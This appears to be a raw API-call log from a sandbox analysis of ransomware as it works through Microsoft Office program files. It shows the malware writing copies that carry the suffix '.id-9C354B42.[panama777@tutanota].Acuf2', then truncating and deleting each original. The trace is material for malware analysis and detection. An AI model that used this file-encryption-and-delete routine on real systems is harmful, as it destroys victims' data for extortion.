	[0259.612] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0259.612] lstrlenW (lpString=".pdf") returned 4
	[0259.612] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString=".xls") returned 4
	[0259.612] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString=".xlsx") returned 5
	[0259.612] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0259.612] lstrlenW (lpString=".ppt") returned 4
	[0259.612] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.612] lstrlenW (lpString=".zip") returned 4
	[0259.612] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString=".rar") returned 4
	[0259.612] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString=".bz2") returned 4
	[0259.613] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0259.613] lstrlenW (lpString=".7z") returned 3
	[0259.613] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0259.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.613] lstrlenW (lpString=".dbf") returned 4
	[0259.613] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0259.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.613] lstrlenW (lpString=".1cd") returned 4
	[0259.613] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0259.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.613] lstrlenW (lpString=".jpg") returned 4
	[0259.613] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0259.613] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.613] lstrlenW (lpString="BHOINTL.DLL") returned 11
	[0259.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.613] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=10104) returned 1
	[0259.613] CloseHandle (hObject=0x220) returned 1
	[0259.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20
	[0259.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.614] lstrlenW (lpString=".doc") returned 4
	[0259.614] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.614] lstrlenW (lpString=".docx") returned 5
	[0259.614] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0259.614] lstrlenW (lpString=".pdf") returned 4
	[0259.614] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.614] lstrlenW (lpString=".xls") returned 4
	[0259.614] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.614] lstrlenW (lpString=".xlsx") returned 5
	[0259.614] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0259.614] lstrlenW (lpString=".ppt") returned 4
	[0259.614] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.614] lstrlenW (lpString=".zip") returned 4
	[0259.614] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.614] lstrlenW (lpString=".rar") returned 4
	[0259.614] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.614] lstrlenW (lpString=".bz2") returned 4
	[0259.614] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.614] lstrlenW (lpString=".7z") returned 3
	[0259.614] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.614] lstrlenW (lpString=".dbf") returned 4
	[0259.614] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString=".1cd") returned 4
	[0259.615] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString=".jpg") returned 4
	[0259.615] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString=".doc") returned 4
	[0259.615] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString=".docx") returned 5
	[0259.615] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0259.615] lstrlenW (lpString=".pdf") returned 4
	[0259.615] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString=".xls") returned 4
	[0259.615] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString=".xlsx") returned 5
	[0259.615] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0259.615] lstrlenW (lpString=".ppt") returned 4
	[0259.615] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString=".zip") returned 4
	[0259.615] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString=".rar") returned 4
	[0259.615] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.615] lstrlenW (lpString=".bz2") returned 4
	[0259.615] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.615] lstrlenW (lpString=".7z") returned 3
	[0259.615] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString=".dbf") returned 4
	[0259.615] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.615] lstrlenW (lpString=".1cd") returned 4
	[0259.616] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59
	[0259.616] lstrlenW (lpString=".jpg") returned 4
	[0259.616] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.616] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0259.616] lstrlenW (lpString="BSTORM.VSL") returned 10
	[0259.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.617] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=45968) returned 1
	[0259.617] CloseHandle (hObject=0x220) returned 1
	[0259.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20
	[0259.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.617] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.617] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.618] GetLastError () returned 0x0
	[0259.618] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xb390, lpOverlapped=0x0) returned 1
	[0259.803] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xb3a0, lpOverlapped=0x0) returned 1
	[0259.804] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.804] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0259.804] SetEndOfFile (hFile=0x354) returned 1
	[0259.804] CloseHandle (hObject=0x354) returned 1
	[0259.805] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.805] SetEndOfFile (hFile=0x220) returned 1
	[0259.808] CloseHandle (hObject=0x220) returned 1
	[0259.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1
	[0259.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.866] lstrlenW (lpString=".doc") returned 4
	[0259.866] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0259.866] lstrlenW (lpString=".docx") returned 5
	[0259.866] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1
	[0259.866] lstrlenW (lpString=".pdf") returned 4
	[0259.866] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0259.866] lstrlenW (lpString=".xls") returned 4
	[0259.866] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0259.866] lstrlenW (lpString=".xlsx") returned 5
	[0259.866] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1
	[0259.866] lstrlenW (lpString=".ppt") returned 4
	[0259.866] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0259.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.866] lstrlenW (lpString=".zip") returned 4
	[0259.866] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0259.866] lstrlenW (lpString=".rar") returned 4
	[0259.866] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0259.866] lstrlenW (lpString=".bz2") returned 4
	[0259.866] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0259.866] lstrlenW (lpString=".7z") returned 3
	[0259.866] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0259.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.866] lstrlenW (lpString=".dbf") returned 4
	[0259.866] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0259.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.866] lstrlenW (lpString=".1cd") returned 4
	[0259.867] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.867] lstrlenW (lpString=".jpg") returned 4
	[0259.867] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.867] lstrlenW (lpString=".doc") returned 4
	[0259.867] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString=".docx") returned 5
	[0259.867] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1
	[0259.867] lstrlenW (lpString=".pdf") returned 4
	[0259.867] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString=".xls") returned 4
	[0259.867] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0259.867] lstrlenW (lpString=".xlsx") returned 5
	[0259.867] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1
	[0259.867] lstrlenW (lpString=".ppt") returned 4
	[0259.867] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.867] lstrlenW (lpString=".zip") returned 4
	[0259.867] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0259.867] lstrlenW (lpString=".rar") returned 4
	[0259.867] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString=".bz2") returned 4
	[0259.867] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0259.867] lstrlenW (lpString=".7z") returned 3
	[0259.867] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0259.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.867] lstrlenW (lpString=".dbf") returned 4
	[0259.867] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0259.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.868] lstrlenW (lpString=".1cd") returned 4
	[0259.868] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0259.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58
	[0259.868] lstrlenW (lpString=".jpg") returned 4
	[0259.868] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0259.868] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0259.868] lstrlenW (lpString="ContactPickerIntl.dll") returned 21
	[0259.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.868] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=16256) returned 1
	[0259.868] CloseHandle (hObject=0x330) returned 1
	[0259.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20
	[0259.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.907] lstrlenW (lpString=".doc") returned 4
	[0259.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0259.907] lstrlenW (lpString=".docx") returned 5
	[0259.907] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1
	[0259.907] lstrlenW (lpString=".pdf") returned 4
	[0259.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0259.907] lstrlenW (lpString=".xls") returned 4
	[0259.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0259.907] lstrlenW (lpString=".xlsx") returned 5
	[0259.907] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1
	[0259.907] lstrlenW (lpString=".ppt") returned 4
	[0259.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0259.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.907] lstrlenW (lpString=".zip") returned 4
	[0259.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0259.907] lstrlenW (lpString=".rar") returned 4
	[0259.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0259.907] lstrlenW (lpString=".bz2") returned 4
	[0259.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0259.907] lstrlenW (lpString=".7z") returned 3
	[0259.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0259.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.907] lstrlenW (lpString=".dbf") returned 4
	[0259.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0259.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.907] lstrlenW (lpString=".1cd") returned 4
	[0259.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0259.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.907] lstrlenW (lpString=".jpg") returned 4
	[0259.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.908] lstrlenW (lpString=".doc") returned 4
	[0259.908] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString=".docx") returned 5
	[0259.908] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1
	[0259.908] lstrlenW (lpString=".pdf") returned 4
	[0259.908] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString=".xls") returned 4
	[0259.908] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString=".xlsx") returned 5
	[0259.908] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1
	[0259.908] lstrlenW (lpString=".ppt") returned 4
	[0259.908] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.908] lstrlenW (lpString=".zip") returned 4
	[0259.908] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString=".rar") returned 4
	[0259.908] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0259.908] lstrlenW (lpString=".bz2") returned 4
	[0259.908] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0259.908] lstrlenW (lpString=".7z") returned 3
	[0259.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0259.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.908] lstrlenW (lpString=".dbf") returned 4
	[0259.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0259.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.908] lstrlenW (lpString=".1cd") returned 4
	[0259.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0259.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69
	[0259.909] lstrlenW (lpString=".jpg") returned 4
	[0259.909] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0259.909] lstrcmpiW (lpString1=".ICO", lpString2=".Acuf2") returned 1
	[0259.909] lstrlenW (lpString="FOLDER.ICO") returned 10
	[0259.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.911] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=4710) returned 1
	[0259.911] CloseHandle (hObject=0x330) returned 1
	[0259.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 0x20
	[0259.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.911] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.911] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.924] GetLastError () returned 0x0
	[0259.924] ReadFile (in: hFile=0x330, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1266, lpOverlapped=0x0) returned 1
	[0259.956] WriteFile (in: hFile=0x338, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1270, lpOverlapped=0x0) returned 1
	[0259.957] ReadFile (in: hFile=0x330, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.957] WriteFile (in: hFile=0x338, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0259.957] SetEndOfFile (hFile=0x338) returned 1
	[0259.957] CloseHandle (hObject=0x338) returned 1
	[0259.957] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.957] SetEndOfFile (hFile=0x330) returned 1
	[0259.959] CloseHandle (hObject=0x330) returned 1
	[0259.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 1
	[0259.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
	[0259.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71
